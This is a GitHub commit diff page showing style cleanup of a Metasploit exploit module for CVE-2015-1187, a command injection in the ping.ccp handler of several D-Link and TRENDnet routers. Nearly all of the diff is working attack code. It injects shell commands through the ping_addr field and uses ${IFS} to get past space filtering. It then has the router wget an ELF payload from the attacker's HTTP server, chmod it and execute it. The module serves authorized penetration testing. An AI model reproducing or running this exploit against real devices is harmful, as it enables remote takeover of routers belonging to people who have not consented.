Skip to content

Commit ad465c4

Browse files
committed
Do code cleanup
1 parent d81a246 commit ad465c4

File tree

1 file changed

+38
-49
lines changed

1 file changed

+38
-49
lines changed

modules/exploits/linux/http/multi_ncc_ping_exec.rb

Lines changed: 38 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = ManualRanking #only tested in emulated environment
9+
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::Remote::HttpServer::HTML
@@ -17,38 +17,32 @@ def initialize(info = {})
1717
super(update_info(info,
1818
'Name' => 'D-Link/TRENDnet NCC Command Injection (ping.ccp)',
1919
'Description' => %q{
20-
This module exploits a remote command injection vulnerability on several routers.
21-
This module was tested in an emulated environment of a DIR-626L only. Several
22-
D-Link and TRENDnet devices are reported as affected:
23-
D-Link DIR-626L (Rev A) - v1.04b04,
24-
D-Link DIR-636L (Rev A) - v1.04,
25-
D-Link DIR-808L (Rev A) - v1.03b05,
26-
D-Link DIR-810L (Rev A) - v1.01b04,
27-
D-Link DIR-810L (Rev B) - v2.02b01,
28-
D-Link DIR-820L (Rev A) - v1.02B10,
29-
D-Link DIR-820L (Rev A) - v1.05B03,
30-
D-Link DIR-820L (Rev B) - v2.01b02,
31-
D-Link DIR-826L (Rev A) - v1.00b23,
32-
D-Link DIR-830L (Rev A) - v1.00b07,
33-
D-Link DIR-836L (Rev A) - v1.01b03,
34-
TRENDnet TEW-731BR (Rev 2) - v2.01b01
20+
This module exploits a remote command injection vulnerability on several routers. This
21+
module was tested in an emulated environment of a DIR-626L only. Several D-Link and
22+
TRENDnet devices are reported as affected: D-Link DIR-626L (Rev A) v1.04b04, D-Link
23+
DIR-636L (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04,
24+
D-Link DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
25+
v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
26+
DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03, TRENDnet TEW-731BR (Rev 2)
27+
v2.01b01
3528
},
3629
'Author' =>
3730
[
3831
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
3932
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
40-
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
33+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
4134
],
4235
'License' => MSF_LICENSE,
4336
'References' =>
4437
[
4538
['CVE', '2015-1187'],
4639
['BID', '72816'],
47-
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'], #advisory with PoC
48-
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'], #advisory with PoC
49-
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052'] #vendor site with update
40+
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
41+
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
42+
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
5043
],
5144
'Targets' =>
45+
# Only tested on D-Link DIR-626L where wget is available
5246
[
5347
[ 'Linux mipsel Payload',
5448
{
@@ -83,7 +77,7 @@ def check
8377
})
8478

8579
# unknown if other devices also using mini_httpd
86-
if res && [500].include?(res.code) && res.headers["Server"] && res.headers["Server"] =~ /mini_httpd/
80+
if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
8781
return Exploit::CheckCode::Detected
8882
end
8983
rescue ::Rex::ConnectionError
@@ -93,15 +87,15 @@ def check
9387
Exploit::CheckCode::Unknown
9488
end
9589

96-
def exec_command(cmd, timeout=20)
90+
def exec_command(cmd, timeout = 20)
9791
begin
9892
res = send_request_cgi({
9993
'method' => 'POST',
10094
'uri' => normalize_uri(target_uri.path),
10195
'encode_params' => false,
10296
'vars_post' => {
103-
"ccp_act" => "ping_v6",
104-
"ping_addr" => '$(' + cmd + ')'
97+
'ccp_act' => 'ping_v6',
98+
'ping_addr' => '$(' + cmd + ')'
10599
}
106100
}, timeout)
107101
return res
@@ -119,21 +113,22 @@ def exploit
119113
print_status("#{peer} - Accessing the vulnerable URL...")
120114

121115
unless check == Exploit::CheckCode::Detected
122-
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
116+
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
123117
end
124118

125119
print_status("#{peer} - Exploiting...")
126120

127121
@pl = generate_payload_exe
122+
@payload_url = ''
123+
@dropped_elf = rand_text_alpha(rand(5) + 3)
128124

129125
if @pl.blank?
130126
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
131127
end
132-
@payload_url = ""
133128

134129
if datastore['EXTURL'].blank?
135130
begin
136-
Timeout.timeout(datastore['HTTPDELAY']) {super}
131+
Timeout.timeout(datastore['HTTPDELAY']) { super }
137132
rescue Timeout::Error
138133
end
139134
chmod_payload
@@ -147,57 +142,51 @@ def exploit
147142
end
148143

149144
def wget_payload
150-
#
151-
# download payload
152-
#
153-
print_status("#{peer} - Downloading the payload to the target machine...")
145+
upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)
154146

155-
@dropped_elf = rand_text_alpha(rand(5) + 3)
147+
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"
156148

157-
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
149+
print_status("#{peer} - Downloading the payload to the target machine...")
158150
res = exec_command(cmd)
159-
if res && [200].include?(res.code) && res.headers["Server"] && res.headers["Server"] =~ /mini_httpd/
160-
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
151+
152+
if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
153+
register_files_for_cleanup(upload_path)
161154
else
162155
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
163156
end
164157
end
165158

166159
def chmod_payload
167-
#
168-
# chmod
169-
#
170160
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
171-
print_status("#{peer} - chmod the payload...")
172161

162+
print_status("#{peer} - chmod the payload...")
173163
res = exec_command(cmd, 1)
174-
if (!res)
164+
165+
unless res
175166
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
176167
end
177168

178-
select(nil, nil, nil, 1)
169+
Rex.sleep(1)
179170
end
180171

181172
def exec_payload
182-
#
183-
# execute
184-
#
185173
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
186-
print_status("#{peer} - Executing the payload...")
187174

175+
print_status("#{peer} - Executing the payload...")
188176
res = exec_command(cmd, 1)
189-
if (!res)
177+
178+
unless res
190179
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
191180
end
192181

193-
select(nil, nil, nil, 1)
182+
Rex.sleep(1)
194183
end
195184

196-
# Handle incoming requests from the server
185+
# Handle incoming requests to the HTTP server
197186
def on_request_uri(cli, request)
198187
print_status("Request: #{request.uri}")
199188
if request.uri =~ /#{Regexp.escape(get_resource)}/
200-
print_status("Sending payload...")
189+
print_status('Sending payload...')
201190
send_response(cli, @pl)
202191
end
203192
end

0 commit comments

Comments
 (0)